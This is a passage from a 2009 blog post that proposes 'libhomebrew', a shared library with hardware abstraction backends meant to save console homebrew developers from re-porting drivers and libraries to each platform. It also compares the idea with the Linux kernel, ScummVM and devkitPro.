Instead, we could just create the one homebrew library, libhomebrew. It would contain a basic set of functionality, ports of commonly-used libraries and of course HAL backends for all supported platforms.

Everybody in the homebrew scene would profit from this:

  • homebrew authors could do write-once deploy-everywhere development.

  • platform hackers would profit too: instead of porting SDHC drivers or libmad to yet another console, they could just add a libhomebrew HAL backend for their hardware, automagically gaining all the libs (and many apps).

  • library maintainers could integrate libhomebrew support into their libs, without the fear of creating a forest of hardware adaptations.

*yawn* This is all old news!

Of course, this is nothing I could file a patent for (I would not blog it if it was ;-)). The basic idea already exists for decades in many different implementations, however not in such a homebrew-centric way so far.

The three projects most similar to the presented idea are:

  1. The Linux kernel is exactly that, plus a huge pile of bloat completely superfluous for console homebrew.

  2. ScummVM is an adventure game "emulator" with a large set of platform backends.

  3. devkitPro provides homebrew toolkits for several different platforms, but no common hardware abstraction as far as I could see.

Progress of libhomebrew

So far, all there is is a libhomebrew wiki page on the free60 wiki. After all, I am only one person with a full-time job not related to homebrew in any way.

However, I hope to find some interested developers who are tired of re-writing drivers and porting yet another lib to their favourite platform.

Contribute or at least spread the word!

Posted 2009-12-12 21:26:12 Tags: hardware